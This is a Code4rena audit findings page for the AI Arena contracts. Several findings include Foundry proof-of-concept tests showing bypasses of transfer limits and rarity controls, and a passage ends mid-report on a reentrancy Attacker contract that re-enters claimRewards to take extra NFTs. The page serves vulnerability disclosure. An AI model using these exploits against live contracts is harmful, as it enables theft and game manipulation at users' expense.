Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 5/283
Findings: 10
Award: $2,513.91
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: CodeWasp
Also found by: 0x13, 0xAlix2, 0xAsen, 0xCiphky, 0xE1, 0xLogos, 0xaghas, 0xlemon, 0xlyov, 0xvj, ADM, Aamir, BARW, Bauchibred, DMoore, DanielArmstrong, Draiakoo, Fulum, GhK3Ndf, Josh4324, Kalogerone, KmanOfficial, Krace, KupiaSec, Limbooo, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Tendency, _eperezok, adam-idarrha, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, c0pp3rscr3w3r, cartlex_, cats, d3e4, deadrxsezzz, denzi_, devblixt, dimulski, erosjohn, evmboi32, fnanni, grearlake, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, juancito, klau5, korok, ktg, ladboy233, matejdb, merlinboii, novamanbg, nuthan2x, oualidpro, peanuts, petro_1912, pkqs90, pynschon, radev_sw, rouhsamad, sashik_eth, shaka, sobieski, soliditywala, stackachu, tallo, thank_you, ubl4nk, vnavascues, web3pwn, xchen1130, zhaojohnson
0.1044 USDC - $0.10
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L338-L348 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L355-L365 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L545 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4e7e6e54daedf091d91f2f2df024cbb8f253e2ef/contracts/token/ERC721/ERC721.sol#L159-L162
In FighterFarm
the constant MAX_FIGHTERS_ALLOWED
is set to 10 and determines the maximal number of fighters one address is allowed to hold. This limitation can be bypassed by calling the function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
. The function was inharited by the FighterFarmContract
through ERC721 but was not overwritten to be gated by the check _ableToTransfer
like the other two transfer functions. _ableToTransfer
checks if an address already holds 10 fighters before transferring a fighter to an address.
The fact that one can hold more than 10 fighters at one address allows for smurfing via rotating through fighters at a large scale, which the limit is supposed to prevent.
The following working POC can be copied to FightFarm.t.sol
and run with forge test -vvv -mt testMoreThan10FightersPerWallet
.
</details>function testMoreThan10FightersPerWallet() public { //mint 10 fighters to one address for (uint8 i = 0; i < 10; i++) { vm.prank(address(_mergingPoolContract)); _fighterFarmContract.mintFromMergingPool(_ownerAddress, "_neuralNetHash", "original", [uint256(100), uint256(100)]); } uint256 fightersOwned = _fighterFarmContract.balanceOf(_ownerAddress); console.log("Fighters owned by ownerAddress", fightersOwned); //create a new address to mint the 11th fighter to address alice = vm.addr(1); vm.prank(address(_mergingPoolContract)); _fighterFarmContract.mintFromMergingPool(alice, "_neuralNetHash", "original", [uint256(1), uint256(80)]); //transfer the 11th fighter to the owner address vm.prank(alice); _fighterFarmContract.safeTransferFrom(alice, _ownerAddress, 10,""); fightersOwned = _fighterFarmContract.balanceOf(_ownerAddress); console.log("Fighters owned by ownerAddress after transfer", fightersOwned); assertEq(fightersOwned, 11, "Owner should have 11 fighters"); }
Manual review, foundry
Overwrite the function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
and gate it with the _ableToTransfer
check to ensure that an address can only hold 10 fighters.
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override(ERC721, IERC721){ require(_ableToTransfer(tokenId, to)); transferFrom(from, to, tokenId); ERC721Utils.checkOnERC721Received(_msgSender(), from, to, tokenId, data); }
ERC721
#0 - c4-pre-sort
2024-02-23T17:39:46Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-23T17:39:57Z
raymondfam marked the issue as sufficient quality report
#2 - c4-pre-sort
2024-02-23T17:40:18Z
raymondfam marked the issue as duplicate of #739
#3 - c4-judge
2024-03-11T02:09:26Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-11T02:58:24Z
HickupHH3 marked the issue as satisfactory
🌟 Selected for report: Aamir
Also found by: 0rpse, 0x11singh99, 0x13, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xE1, 0xKowalski, 0xLogos, 0xWallSecurity, 0xaghas, 0xbranded, 0xlemon, 0xlyov, 0xpoor4ever, 0xprinc, 0xvj, ADM, Aymen0909, BARW, Bauchibred, Breeje, CodeWasp, DMoore, DeFiHackLabs, Draiakoo, Fulum, GhK3Ndf, Greed, Jorgect, Josh4324, Kalogerone, KmanOfficial, Krace, Limbooo, McToady, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Ryonen, SovaSlava, SpicyMeatball, Tendency, Timenov, ZanyBonzy, _eperezok, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, cats, csanuragjain, deadrxsezzz, denzi_, devblixt, dimulski, djxploit, erosjohn, evmboi32, fnanni, grearlake, haxatron, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, josephdara, juancito, kiqo, klau5, korok, krikolkk, ktg, kutugu, ladboy233, lil_eth, m4ttm, matejdb, merlinboii, n0kto, ni8mare, novamanbg, nuthan2x, oualidpro, pa6kuda, peter, petro_1912, pkqs90, pynschon, sandy, sashik_eth, shaflow2, shaka, sobieski, soliditywala, solmaxis69, stackachu, tallo, thank_you, tpiliposian, ubl4nk, visualbits, vnavascues, web3pwn, xchen1130, zhaojohnson
0.0037 USDC - $0.00
In GamingItems
, every item has the property transferable
which determines if an item should be transferable or not. If the property is set to false
, the user should not be able to transfer the item to another user. This can be bypassed by calling the function saveBatchTransferFrom
which was inherited from ERC1155
but not overwritten, rendering the transferable
property of items useless.
The following working POC can be copied to GameItems.t.sol
and run with forge test -vvv -mt testItemsCanAlwaysBeTransfered
:
</details>//create item that should not be transferable _gameItemsContract.createGameItem("NotTransfarable", "https://ipfs.io/ipfs/", true, false, 10_000, 0, 10); vm.startPrank(newPlayer1); _gameItemsContract.mint(1, 1); uint256 balanceNewPlayer1 = _gameItemsContract.balanceOf(newPlayer1, 1); console.log("Balance of item 1 of newPlayer1: ", balanceNewPlayer1); uint256 balanceNewPlayer2 = _gameItemsContract.balanceOf(newPlayer2, 1); console.log("Balance of item 1 of newPlayer2: ", balanceNewPlayer2); //should revert since item is not transfarable vm.expectRevert(); _gameItemsContract.safeTransferFrom(newPlayer1, newPlayer2, 1, 1, ""); uint256[] memory itemId = new uint256[](1); itemId[0] = 1; uint256[] memory amount = new uint256[](1); amount[0] = 1; //transfer is possible with `safeBatchTransferFrom` _gameItemsContract.safeBatchTransferFrom(newPlayer1, newPlayer2, itemId, amount, ""); balanceNewPlayer1 = _gameItemsContract.balanceOf(newPlayer1, 1); console.log("Balance of item 1 of newPlayer1 after transfer: ", balanceNewPlayer1); balanceNewPlayer2 = _gameItemsContract.balanceOf(newPlayer2, 1); console.log("Balance of item 1 of newPlayer2 after transfer: ", balanceNewPlayer2); assertEq(balanceNewPlayer1, 0, "Balance of new player should be 0"); assertEq(balanceNewPlayer2, 1, "Balance of owner should be 1"); }
Manual review, foundry
Overwrite the function _update
which is finally responsible for the transfer of the items and check if the items provided as arguments should be transferable before transferring them:
function _update(address from, address to, uint256[] memory ids, uint256[] memory values) internal overwrite(ERC1155) { if (ids.length != values.length) { revert ERC1155InvalidArrayLength(ids.length, values.length); } address operator = _msgSender(); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids.unsafeMemoryAccess(i); + require(allGameItemAttributes[tokenId].transferable) uint256 value = values.unsafeMemoryAccess(i); if (from != address(0)) { uint256 fromBalance = _balances[id][from]; if (fromBalance < value) { revert ERC1155InsufficientBalance(from, fromBalance, value, id); } unchecked { // Overflow not possible: value <= fromBalance _balances[id][from] = fromBalance - value; } } if (to != address(0)) { _balances[id][to] += value; } }
ERC721
#0 - c4-pre-sort
2024-02-22T04:12:10Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T04:12:18Z
raymondfam marked the issue as duplicate of #18
#2 - c4-pre-sort
2024-02-26T00:28:58Z
raymondfam marked the issue as duplicate of #575
#3 - c4-judge
2024-03-05T04:55:42Z
HickupHH3 marked the issue as satisfactory
🌟 Selected for report: Abdessamed
Also found by: 0rpse, 0xAlix2, 0xAsen, 0xCiphky, 0xlemon, 0xmystery, 0xvj, ADM, Aamir, Archime, BARW, DarkTower, Draiakoo, FloatingPragma, JCN, McToady, MrPotatoMagic, OMEN, PetarTolev, Ryonen, SpicyMeatball, Tendency, VAD37, Velislav4o, VrONTg, Zac, adamn000, ahmedaghadi, alexxander, alexzoid, bhilare_, btk, cats, d3e4, denzi_, devblixt, dimulski, evmboi32, fnanni, givn, haxatron, immeas, jesjupyter, juancito, ke1caM, klau5, korok, krikolkk, matejdb, n0kto, niser93, peter, pkqs90, radin100, shaka, sl1, soliditywala, stackachu, stakog, t0x1c, vnavascues, yotov721, zhaojohnson
1.2667 USDC - $1.27
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L484-L531 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L83-L121
For each of the six body parts of the fighter (head, eyes, mouth, body, hands, feet) there are different variations (e.g “brown eyes”, “blue eyes”). Each variation has a rarity assigned to it meaning that some variations of a part should be seen more often than others. The problem is that when creating a new fighter by calling FighterFarm:redeemMintPass()
, a user who owns a mint pass can call the function directly and set the DNA variable that is used in the deterministic calculation of the parts freely. This means the user can set the DNA according to the outcome of parts that he desires rendering the rarities useless. Since the looks of an NFT can be a significant part of the price users are willing to pay for it, being able to mint a specific part poses a significant advantage for “hackers” compared to the normal user who did not read the smart contract.
The initial champions for the game are minted from MintPasses
. To redeem a mintpass, the user calls FighterFarm:redeemMintPass()
and provides, beside other things, the mintPassDna to use for the creation of the champion. After some checks the mintPass is burned and the function _createNewFighter
is called using the variables provided by the user. One of these variables is the mintPassDna
that is encoded, hashed and cast to a uint256:
uint256(keccak256(abi.encode(mintPassDnas[i])))
During the creation of the new fighter, the encoded and hashed DNA is used in the function createPhysicalAttributes
to create the looks of the fighter.
The DNA is used to determine the rarityRank
of each of the 6 parts (head, eyes, mouth, body, hands, feet) by dividing it through a predetermined attributeToDnaDivisor
and setting the raretyRank
to the remainer after dividing it by 100:
uint256 rarityRank = (dna / attributeToDnaDivisor[attributes[i]]) % 100;
This rarityRank
is then converted to the attributeIndex
by calling the function dnaToIndex
. The calculation of the attributeIndex
is done my using predetermined attrProbabilities
:
function dnaToIndex(uint256 generation, uint256 rarityRank, string memory attribute) public view returns (uint256 attributeProbabilityIndex) { uint8[] memory attrProbabilities = getAttributeProbabilities(generation, attribute); uint256 cumProb = 0; uint256 attrProbabilitiesLength = attrProbabilities.length; for (uint8 i = 0; i < attrProbabilitiesLength; i++) { cumProb += attrProbabilities[i]; if (cumProb >= rarityRank) { attributeProbabilityIndex = i + 1; break; } } return attributeProbabilityIndex; }
The attributeIndex
represents the version of the body part the fighter will have e.g. if he will have “brown eyes” or “blue eyes”.
The problem arises from the fact that the user can provide any DNA he wants since there is no check which compares the DNA to e.g. a DNA associated with the minting pass. Since the way the attribueIndex
for each part is calculated is visible on the blockchain, the tech savvy user can choose the parts he wants (the rarest once) and precalculated the DNA he needs to provide to get those parts. This renders the whole rarity concept useless and puts normal users in a disadvantage compared to tech savvy users.
The following POC can be added to the file FighterFarm.t.sol
. It shows that by adjusting the freely changeable dna, a user can mint a champion with any of the 6 attribueIndexs
(only shown for the head).
To be able to run the test, add the following line at the top of the file
import { FighterOps } from "../src/FighterOps.sol";
Then run the test by calling forge test -vvv –mt testInfluanceRarityOfPhysicalApirance
function testInfluanceRarityOfPhysicalApirance() public { //get mint pass uint8[2] memory numToMint = [1, 0]; bytes memory signature = abi.encodePacked( hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c" ); string[] memory _tokenURIs = new string; _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
</details>// first i have to mint an nft from the mintpass contract assertEq(_mintPassContract.mintingPaused(), false); _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs); assertEq(_mintPassContract.balanceOf(_ownerAddress), 1); assertEq(_mintPassContract.ownerOf(1), _ownerAddress); // once owning one i can then redeem it for a fighter uint256[] memory _mintpassIdsToBurn = new uint256[](1); string[] memory _mintPassDNAs = new string[](1); uint8[] memory _fighterTypes = new uint8[](1); uint8[] memory _iconsTypes = new uint8[](1); string[] memory _neuralNetHashes = new string[](1); string[] memory _modelTypes = new string[](1); _mintpassIdsToBurn[0] = 1; _fighterTypes[0] = 0; //normal champion _neuralNetHashes[0] = "neuralnethash"; _modelTypes[0] = "original"; _iconsTypes[0] = 0; vm.startPrank(_ownerAddress); // approve the fighterfarm contract to burn the mintpass _mintPassContract.approve(address(_fighterFarmContract), 1); uint256 snapshotId = vm.snapshot(); //redeem the pass for a normal Champion _mintPassDNAs[0] = "52"; console.log("Pass dna mint1", _mintPassDNAs[0]); _fighterFarmContract.redeemMintPass( _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes ); FighterOps.FighterPhysicalAttributes memory physicalAttributes; (,,physicalAttributes,,,,,,) = _fighterFarmContract.fighters(0); uint256 head = physicalAttributes.head; console.log("rarityRank mint1", head); vm.revertTo(snapshotId); //change DNA to use in the redemption of the pass _mintPassDNAs[0] = "61"; console.log("Pass dna mint2", _mintPassDNAs[0]); _fighterFarmContract.redeemMintPass( _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes); (,,physicalAttributes,,,,,,) = _fighterFarmContract.fighters(0); head = physicalAttributes.head; console.log("rarityRank mint2 ", head); vm.revertTo(snapshotId); //change DNA to use in the redemption of the pass _mintPassDNAs[0] = "58"; console.log("Pass dna mint3", _mintPassDNAs[0]); _fighterFarmContract.redeemMintPass( _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes ); (,,physicalAttributes,,,,,,) = _fighterFarmContract.fighters(0); head = physicalAttributes.head; console.log("rarityRank mint3", head); vm.revertTo(snapshotId); //change DNA to use in the redemption of the pass _mintPassDNAs[0] = "50"; console.log("Pass dna mint4", _mintPassDNAs[0]); _fighterFarmContract.redeemMintPass( _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes ); (,,physicalAttributes,,,,,,) = _fighterFarmContract.fighters(0); head = physicalAttributes.head; console.log("rarityRank mint4", head); vm.revertTo(snapshotId); //change DNA to use in the redemption of the pass _mintPassDNAs[0] = "352"; console.log("Pass dna mint5", _mintPassDNAs[0]); _fighterFarmContract.redeemMintPass( _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes ); (,,physicalAttributes,,,,,,) = _fighterFarmContract.fighters(0); head = physicalAttributes.head; console.log("rarityRank mint5", head); vm.revertTo(snapshotId); //change DNA to use in the redemption of the pass _mintPassDNAs[0] = "56"; console.log("Pass dna mint6", _mintPassDNAs[0]); _fighterFarmContract.redeemMintPass( _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes ); (,,physicalAttributes,,,,,,) = _fighterFarmContract.fighters(0); head = physicalAttributes.head; console.log("rarityRank mint6", head); }
Manual review, foundry
To fix this issue and make the creation of new fighters fairer for all users consider using a truly random oracle like the LINK VRF to generate a random DNA that is then used for the calculation of the attributeProbabilityIndex
.
Alternatively the function redeemMintPass()
could be only callable by a specific address owned by the project team which determines the DNA from, e.g. an offchain mapping between mintpassID and dna.
Access Control
#0 - c4-pre-sort
2024-02-22T07:27:27Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T07:28:31Z
raymondfam marked the issue as duplicate of #33
#2 - c4-pre-sort
2024-02-26T00:52:57Z
raymondfam marked the issue as duplicate of #1626
#3 - c4-judge
2024-03-05T10:53:55Z
HickupHH3 marked the issue as satisfactory
#4 - c4-judge
2024-03-06T03:19:00Z
HickupHH3 marked the issue as not a duplicate
#5 - c4-judge
2024-03-06T03:19:08Z
HickupHH3 marked the issue as duplicate of #197
#6 - c4-judge
2024-03-06T03:30:22Z
HickupHH3 marked the issue as duplicate of #366
🌟 Selected for report: Abdessamed
Also found by: 0rpse, 0xAlix2, 0xAsen, 0xCiphky, 0xlemon, 0xmystery, 0xvj, ADM, Aamir, Archime, BARW, DarkTower, Draiakoo, FloatingPragma, JCN, McToady, MrPotatoMagic, OMEN, PetarTolev, Ryonen, SpicyMeatball, Tendency, VAD37, Velislav4o, VrONTg, Zac, adamn000, ahmedaghadi, alexxander, alexzoid, bhilare_, btk, cats, d3e4, denzi_, devblixt, dimulski, evmboi32, fnanni, givn, haxatron, immeas, jesjupyter, juancito, ke1caM, klau5, korok, krikolkk, matejdb, n0kto, niser93, peter, pkqs90, radin100, shaka, sl1, soliditywala, stackachu, stakog, t0x1c, vnavascues, yotov721, zhaojohnson
1.2667 USDC - $1.27
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L484-L531 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L83-L121
There are two types of bots in the game: normal champions and dendroids. According to the documentation dendroids “are very rare and more difficult to obtain”. The issue is that when creating a fighter from a mintPass by calling FighterFarm:redeemMintPass()
, the user can freely set the fighter type to be 1 = dendroid
and thereby create such a dendroid that is supposed to be rare. This should not be possible with mintPasses
since this would make it possible that all fighters created through a mint pass will be dendroids.
For dendroids, the bool dendroidBool
is set to 1 in the Fighter
struct representing them.
Following is a POC that can be added to the file FighterFarm.t.sol
that shows that it is possible to mint dedroids from mintPasses. To see the results run forge -vvv –mt testDendroidFromMintPass
function testDendroidFromMintPass() public { //get mint pass uint8[2] memory numToMint = [1, 0]; bytes memory signature = abi.encodePacked(
hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c" ); string[] memory _tokenURIs = new string; _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
</details>// first i have to mint an nft from the mintpass contract assertEq(_mintPassContract.mintingPaused(), false); _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs); assertEq(_mintPassContract.balanceOf(_ownerAddress), 1); assertEq(_mintPassContract.ownerOf(1), _ownerAddress); // once owning one i can then redeem it for a fighter uint256[] memory _mintpassIdsToBurn = new uint256[](1); string[] memory _mintPassDNAs = new string[](1); uint8[] memory _fighterTypes = new uint8[](1); uint8[] memory _iconsTypes = new uint8[](1); string[] memory _neuralNetHashes = new string[](1); string[] memory _modelTypes = new string[](1); _mintpassIdsToBurn[0] = 1; _mintPassDNAs[0] = "DNA"; _fighterTypes[0] = 1; //dendroid _neuralNetHashes[0] = "neuralnethash"; _modelTypes[0] = "original"; _iconsTypes[0] = 0; vm.startPrank(_ownerAddress); // approve the fighterfarm contract to burn the mintpass _mintPassContract.approve(address(_fighterFarmContract), 1); //redeem the pass for a dendroid () _fighterFarmContract.redeemMintPass( _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes ); bool isDendroid; (,,,,,,,,isDendroid) = _fighterFarmContract.fighters(0); console.log("Is dendroid", isDendroid); }
Manual review, foundry
Remove the variable fightertype
as an input variable for the function FighterFarm: redeemMintPass()
and just set it to 0 = champion when calling _createNewFighter
Invalid Validation
#0 - c4-pre-sort
2024-02-22T07:28:06Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T07:28:14Z
raymondfam marked the issue as duplicate of #33
#2 - c4-pre-sort
2024-02-26T00:52:58Z
raymondfam marked the issue as duplicate of #1626
#3 - c4-judge
2024-03-05T10:54:05Z
HickupHH3 marked the issue as satisfactory
🌟 Selected for report: Abdessamed
Also found by: 0rpse, 0xAlix2, 0xAsen, 0xCiphky, 0xlemon, 0xmystery, 0xvj, ADM, Aamir, Archime, BARW, DarkTower, Draiakoo, FloatingPragma, JCN, McToady, MrPotatoMagic, OMEN, PetarTolev, Ryonen, SpicyMeatball, Tendency, VAD37, Velislav4o, VrONTg, Zac, adamn000, ahmedaghadi, alexxander, alexzoid, bhilare_, btk, cats, d3e4, denzi_, devblixt, dimulski, evmboi32, fnanni, givn, haxatron, immeas, jesjupyter, juancito, ke1caM, klau5, korok, krikolkk, matejdb, n0kto, niser93, peter, pkqs90, radin100, shaka, sl1, soliditywala, stackachu, stakog, t0x1c, vnavascues, yotov721, zhaojohnson
1.2667 USDC - $1.27
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L83-L121
When redeeming a mintPass for a fighter, only a few mintPasses
should be able to provide a value other than 0 for the input variable iconsTypes
. The reason is because this value is used to create special physical attributes (body parts) for the fighter reserved to early backer of the project. But since there is no check when calling redeemMintPass()
if the mint pass that is redeemed is allowed to use an iconType
, every mint pass can use it which breaks the goal of the rare parts, which is to reward early backers.
A user can create new fighters when they own a mint pass and call redeemMintPass()
. One of the input variables for this function is iconType
. During the creation of the physical appearance this variable is used to add one or more rare physical attributes to the fighter like “beta helmet”,” red diamond eyes” or “bowling ball hands”:
if ( i == 0 && iconsType == 2 || // Custom icons head (beta helmet) i == 1 && iconsType > 0 || // Custom icons eyes (red diamond) i == 4 && iconsType == 3 // Custom icons hands (bowling ball) )
These rare physical attributes are reserved for early backers of the project and should be very rare.
The issue arises from the fact that there is no check if the redeemed mint pass is supposed to have these rare attributes or not. Meaning every mint pass can freely provide value for iconType
and obtain these rare attributes.
Implement a check if the redeemed minting pass should be allowed to provide a value for iconType
other than 0. This can be done by using a merkle tree where each mint pass is one leaves of the tree and the leaves are a hash value of the mint pass Id and the value for iconType
this mintpass is allowed to provide.
Invalid Validation
#0 - c4-pre-sort
2024-02-22T07:36:35Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T07:36:42Z
raymondfam marked the issue as duplicate of #33
#2 - c4-pre-sort
2024-02-26T00:53:10Z
raymondfam marked the issue as duplicate of #1626
#3 - c4-judge
2024-03-05T10:56:27Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-06T03:08:53Z
HickupHH3 marked the issue as satisfactory
🌟 Selected for report: klau5
Also found by: 0xAleko, 0xAlix2, 0xAsen, 0xCiphky, 0xKowalski, 0xlemon, 0xvj, 14si2o_Flint, Aamir, AlexCzm, Aymen0909, BARW, Blank_Space, DanielArmstrong, Davide, Draiakoo, Giorgio, McToady, MrPotatoMagic, PoeAudits, Ryonen, Silvermist, SpicyMeatball, Tychai0s, VAD37, Varun_05, alexxander, alexzoid, aslanbek, blutorque, btk, cats, d3e4, denzi_, evmboi32, fnanni, givn, grearlake, haxatron, jesjupyter, juancito, ke1caM, ktg, lanrebayode77, linmiaomiao, matejdb, merlinboii, n0kto, novamanbg, nuthan2x, petro_1912, pynschon, radin100, sashik_eth, shaka, sl1, soliditywala, solmaxis69, t0x1c, ubl4nk, vnavascues, xchen1130, yotov721, zhaojohnson
1.1225 USDC - $1.12
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370-L391 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L462-L474
When calling FighterFarm:reRoll()
, there is no check if the provided fighterType
is the actual fighterType
of the tokenId
. This allows the user to potentially obtain more rerolles than the tokenId should have. Also it would be possible to obtain an element that the fighter type should not have.
If a user is not satisfied with the minting result of his fighter, he can “reRoll” the fighter and get all new stats (element, weight, physical appearance). For the function call, the user needs to provide the tokenId
he wants to reroll and the fighterType
of the tokenId
. The fighterType
is used to check if the tokenId
can be rerolled once more and also for determining the element of the fighter in the function _createFighterBase
:
require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
uint256 element = dna % numElements[generation[fighterType]];
The issue arises because there is no check if the provided fighterType
is really the fighterType
of the provided tokenId
. This allowes a user to provide a false fighterType
and potentially get extra rerolles if the maxRerollsAllowed
for the provided fighterType
is higher than the maxRerollsAllowed
of the real fighterType
of his tokenId
. Also, if the different fighterTypes turn out to have different elements in the future, this will allow a fighter to abtain an element of an other fighterType
.
To prevent the issues discussed above, only take the tokenID
as a user input for the reRoll
function and deduct the fighterType from the dendroidBool
of the tokenId saved in the fighters mapping.
uint8 fighterType = fighters[tokenId].dendroidBool;
Invalid Validation
#0 - c4-pre-sort
2024-02-22T00:13:00Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T00:13:15Z
raymondfam marked the issue as duplicate of #305
#2 - c4-pre-sort
2024-02-22T01:04:56Z
raymondfam marked the issue as duplicate of #306
#3 - raymondfam
2024-02-22T01:07:40Z
This report covers two consequences from the same root cause of fighter type validation: 1. more re-rolls, 2. rarer attribute switch.
#4 - c4-judge
2024-03-05T04:31:25Z
HickupHH3 marked the issue as satisfactory
#5 - c4-judge
2024-03-19T09:05:07Z
HickupHH3 changed the severity to 3 (High Risk)
🌟 Selected for report: DarkTower
Also found by: 0brxce, 0xBinChook, 0xCiphky, 0xDetermination, 0xLogos, Aymen0909, BARW, BoRonGod, Kow, Krace, MrPotatoMagic, PedroZurdo, Tricko, Zac, ZanyBonzy, alexxander, bhilare_, djxploit, evmboi32, grearlake, haxatron, immeas, jnforja, ke1caM, klau5, rouhsamad, sashik_eth, sl1, solmaxis69, ubl4nk, web3pwn, zxriptor
64.3894 USDC - $64.39
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139-L167
There is no protection against reentrancy in the MergingPool.claimRewards function. An attacker can exploit this vulnerability to steal the NFT using the following path: MergingPool.claimRewards
-> onERC721Received
-> MergingPool.claimRewards
.
Firstly, add this code at the beginning of test/MergingPool.t.sol
contract Attacker { uint256 public counter ; MergingPool public mergingPoolContract; constructor(address _mergingPoolContract){ counter = 0; mergingPoolContract = MergingPool(_mergingPoolContract); } function onERC721Received(address operator, address from, uint256 tokenId,bytes calldata data ) external returns (bytes4) { string[] memory _modelURIs = new string[](4); _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; _modelURIs[2] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; _modelURIs[3] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; string[] memory _modelTypes = new string[](4); _modelTypes[0] = "original"; _modelTypes[1] = "original"; _modelTypes[2] = "original"; _modelTypes[3] = "original"; uint256[2][] memory _customAttributes = new uint256[2][](4); _customAttributes[0][0] = uint256(1); _customAttributes[0][1] = uint256(80); _customAttributes[1][0] = uint256(1); _customAttributes[1][1] = uint256(80); _customAttributes[2][0] = uint256(1); _customAttributes[2][1] = uint256(80); _customAttributes[3][0] = uint256(1); _customAttributes[3][1] = uint256(80); counter += 1; console.log("received counter: ", counter); if(counter < 10){ mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); } return IERC721Receiver.onERC721Received.selector; } }
Secondly, add this function into MergingPoolTest
at test/MergingPool.t.sol
.
